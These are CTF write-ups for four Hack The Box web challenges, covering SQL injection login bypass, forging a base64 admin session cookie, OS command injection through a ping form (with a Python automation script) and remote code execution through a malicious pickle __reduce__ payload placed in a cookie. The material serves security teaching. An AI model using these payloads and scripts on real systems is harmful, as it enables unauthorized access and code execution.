arrow-left

All pages
gitbookPowered by GitBook
1 of 5

Loading...

Loading...

Loading...

Loading...

Loading...

Sanitize

hashtag
Analysis

First we're met with a signin form:

Let's try some default creds, admin and admin.

The Query

Below, the query run on the database is shown; this seems like a clear example of SQL injection.

hashtag
Exploitation

Ultimately, we want to try and log in as a user. To do this, we can try to inject our own SQL.

We know the payload looks like the following:

We want to trick this into always returning a user, and to do this we'll inject a clause that's always true, such as 1=1.

That will make the query equal to the following:

So here, it'll compare the username to admin, and if it's not the same the check will still pass because 1=1. However, there's a small issue with the password still being wrong. To bypass this check, we'll make everything after our injection a comment so that the databse ignores it:

That would make the query be:

As you can see, the username will always be correct due to the 1=1 and the password check is commented out! Let's try it.

We still have to input a password because some javascript checks to make sure it's there, but we can fill that with any rubbish. And we get the flag!

HTB{SQL_1nj3ct1ng_my_w4y_0utta_h3r3}

Web

Baby Auth

hashtag
Analysis

We are first greeted by a login page. Let's, once again, try admin with password admin:

Looks like we'll have to create an account - let's try those credentials.

This is great, because now we know we need a user called admin. Let's create another user - I'll use username and password yes, because I doubt that'll be used.

We're redirected to the login, which makes it seem like it worked. Let's log in with the credentials we just created:

Whoops, guess we're not an admin!

When it comes to accounts, one very common thing to check is cookies. Cookies allow, among other things, for users to . To check cookies, we can right-click and hit Inspect Element and then move to the Console tab and type document.cookie.

Well, we have a cookie called PHPSESSID and the value eyJ1c2VybmFtZSI6InllcyJ9. Cookies are often base64 encoded, so we'll use a tool called to decode it.

Once we decode the base64, we see that the contents are simply {"username":"yes"}.

hashtag
Exploitation

So, the website knows our identity due to our cookie - but what's to stop us from forging a cookie? Since we control the cookies we send, we can just edit them. Let's create a fake cookie!

Note that we're URL encoding it as it ends in the special character =, which usually has to be URL encoded in cookies. Let's change our cookie to eyJ1c2VybmFtZSI6ImFkbWluIn0%3D!

Ignore the warning, but we've now set document.cookie. Refresh the page to let it send the cookies again.

And there you go - we successfully authenticated as an admin!

HTB{s3ss10n_1nt3grity_1s_0v3r4tt3d_4nyw4ys}

Looking Glass

hashtag
Analysis

When we start the instance, we are met with an options menu:

It appears as if we can input the IP, which is then pinged. Let's imagine for a second how this could be implemented on the server side. A common trap developers can fall into is doing something like:

Essentially, we're passing the parameters to bash. This means we could, theoretically, insert a ; character into the ip variable, and everything behind it would be interpreted as a seperate command, e.g.:

Here, ls would be run as a separate command. Let's see if it works!

hashtag
Exploitation

Let's try it by simply inputting ; ls to the end of the IP and submitting:

Look - as well as the ping command, we get index.php, which is the result of the ls command!

There doesn't appear to be a flag, so we'll try ; ls / to read the root directory next:

Woo - there's a flag_2viTb file! Now we'll inject ; cat /flag_2viTb to read the flag:

And boom, we've got the flag - HTB{I_f1n4lly_l00k3d_thr0ugh_th3_rc3}.

hashtag
Automation

Because I prefer a command-line interface, I originally created a simple script to inject parameters for me:

This simply inputs the command as cmd, sets the POST parameters, and (really messily) parses the response to return just the data.

hashtag
Checking the Source

We can inject cat index.php to see what exactly was happening, and we immediately see the following lines:

As we guessed, it passed in the input without sanitising it to remove potential injection.

Baby Website Rick

hashtag
Analysis

All the references to pickles implies it's an insecure deserialization challenge. picklearrow-up-right is a serialization format used in python.

If we check the cookies, we get the following:

Our guess is that this is a pickled python object, and decoding the base64 seems to imply that to us too:

hashtag
Unpickling

Let's immediately try to unpickle the data, which should give us a feel for how data is parsed:

The error is quite clear - there's no anti_pickle_serum variable. Let's add one in and try again.

That error is fixed, but there's another one:

Here it's throwing an error because X (anti_pickle_serum) is not a type object - so let's make it a class extending from object!

And now there's no error, and we get a response!

So the cookie is the pickled form of a dictionary with the key serum and the value of an anti_pickle_serum class! Awesome.

hashtag
Exploitation

For an introduction to pickle exploitation, I highly recommend . Essentially, the __reduce__ dunder method tells pickle how to deserialize, and to do so it takes a function and a list of parameters. We can set the function to os.system and the parameters to the code to execute!

Here we create the malicious class, then serialize it as part of the dictionary as we saw before.

Huh, that looks nothing like the original cookie value (which starts with KGRwMApTJ3)... maybe we missed something with the dumps?

Checking out the documentation, there is a protocol parameter! If we , this can take a value from 0 to 5. If we play around, protocol=0 looks similar to the original cookie:

Let's change the cookie to this (without the b''):

As you can see now, the value 0 was returned. This is the return value of os.system! Now we simply need to find a function that returns the result, and we'll use subprocess.check_output for that.

triangle-exclamation

For reasons unknown to me, python3 pickles this differently to python2 and doesn't work. I'll therefore be using python2 from now on, but if anybody know why that would happen, please let me know!

Now run it

And input it as the cookie.

As can now see that there is a flag_wIp1b file, so we can just read it!

While it's tempting to do

subprocess.check_output requires a list of parameters (as we see here) and the filename is a separate item in the list, like so:

And boom - we get the flag!

HTB{g00d_j0b_m0rty...n0w_I_h4v3_to_g0_to_f4m1ly_th3r4py..}

select * from users where username = '<username>' AND password = '<password>';
admin' OR 1=1
select * from users where username = 'admin' OR 1=1 AND password = 'password';
admin' OR 1=1;--
select * from users where username = 'admin' OR 1=1;-- AND password = 'password';
Invalid username or password
this user already exists
system("ping -c 4 " + ip);
plan_b=KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu
$ echo 'KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu' | base64 -d
(dp0
S'serum'
p1
ccopy_reg
_reconstructor
p2
(c__main__
anti_pickle_serum
p3
c__builtin__
object
p4
Ntp5
Rp6
s.
this blog postarrow-up-right
dumps()arrow-up-right
read a bit deeperarrow-up-right
authenticate without logging in every timearrow-up-right
CyberChefarrow-up-right
Login Redirect
Creating a Fake Cookie Value
system("ping -c 4 178.62.0.100; ls");
PING 178.62.0.100 (178.62.0.100): 56 data bytes
--- 178.62.0.100 ping statistics ---
4 packets transmitted, 0 packets received, 100% packet loss
index.php
PING 178.62.0.100 (178.62.0.100): 56 data bytes
--- 178.62.0.100 ping statistics ---
4 packets transmitted, 0 packets received, 100% packet loss
bin
boot
dev
entrypoint.sh
etc
flag_2viTb
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
www
PING 178.62.0.100 (178.62.0.100): 56 data bytes
--- 178.62.0.100 ping statistics ---
4 packets transmitted, 0 packets received, 100% packet loss
HTB{I_f1n4lly_l00k3d_thr0ugh_th3_rc3}
from requests import post

cmd = input('>> ')

data = {'test': 'ping', 'ip_address': f'178.62.0.100; {cmd}', 'submit': 'Test'}
r = post('http://178.62.0.100:30134/', data=data)

data = r.text
data = data.split('packet loss\n')[-1]
data = data.split('</textarea>')[0]

print(data.strip())
$ python3 exploit.py 
>> cat /flag_2viTb      
HTB{I_f1n4lly_l00k3d_thr0ugh_th3_rc3}
function runTest($test, $ip_address)
{
    if ($test === 'ping')
    {
        system("ping -c4 ${ip_address}");
    }
    if ($test === 'traceroute')
    {
        system("traceroute ${ip_address}");
    }
}
from base64 import b64decode

import pickle

code = b'KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'

serum = pickle.loads(b64decode(code))
print(serum)
$ python3 deserialize.py 
Traceback (most recent call last):
  File "deserialize.py", line 7, in <module>
    serum = pickle.loads(b64decode(code))
AttributeError: Can't get attribute 'anti_pickle_serum' on <module '__main__' from 'deserialize.py'>
code = b'KGRwMApT[...]'
anti_pickle_serum = 'test'
$ python3 deserialize.py 
Traceback (most recent call last):
  File "deserialize.py", line 8, in <module>
    serum = pickle.loads(b64decode(code))
  File "/usr/lib/python3.8/copyreg.py", line 43, in _reconstructor
    obj = object.__new__(cls)
TypeError: object.__new__(X): X is not a type object (str)
# [imports]
class anti_pickle_serum(object):
    def __init__(self):
        pass
# [...]
$ python3 deserialize.py 
{'serum': <__main__.anti_pickle_serum object at 0x7f9e1a1b1c40>}
from base64 import b64encode

import pickle
import os

class anti_pickle_serum(object):
    def __reduce__(self):               # function called by the pickler
        return os.system, (['whoami'],)

code = pickle.dumps({'serum': anti_pickle_serum()})
code = b64encode(code)
print(code)
$ python3 final.py 
b'gASVLAAAAAAAAAB9lIwFc2VydW2UjAVwb3NpeJSMBnN5c3RlbZSTlIwGd2hvYW1plIWUUpRzLg=='
code = pickle.dumps({'serum': anti_pickle_serum()}, protocol=0)
$ python3 final.py 
b'KGRwMApWc2VydW0KcDEKY3Bvc2l4CnN5c3RlbQpwMgooVndob2FtaQpwMwp0cDQKUnA1CnMu'
return subprocess.check_output, (['ls'],)
$ python final.py 
KGRwMApTJ3NlcnVtJwpwMQpjc3VicHJvY2VzcwpjaGVja19vdXRwdXQKcDIKKChscDMKUydscycKcDQKYXRwNQpScDYKcy4=
return subprocess.check_output, (['cat flag_wIp1b'],)
return subprocess.check_output, (['cat', 'flag_wIp1b'],)
$ python final.py 
KGRwMApTJ3NlcnVtJwpwMQpjc3VicHJvY2VzcwpjaGVja19vdXRwdXQKcDIKKChscDMKUydjYXQnCnA0CmFTJ2ZsYWdfd0lwMWInCnA1CmF0cDYKUnA3CnMu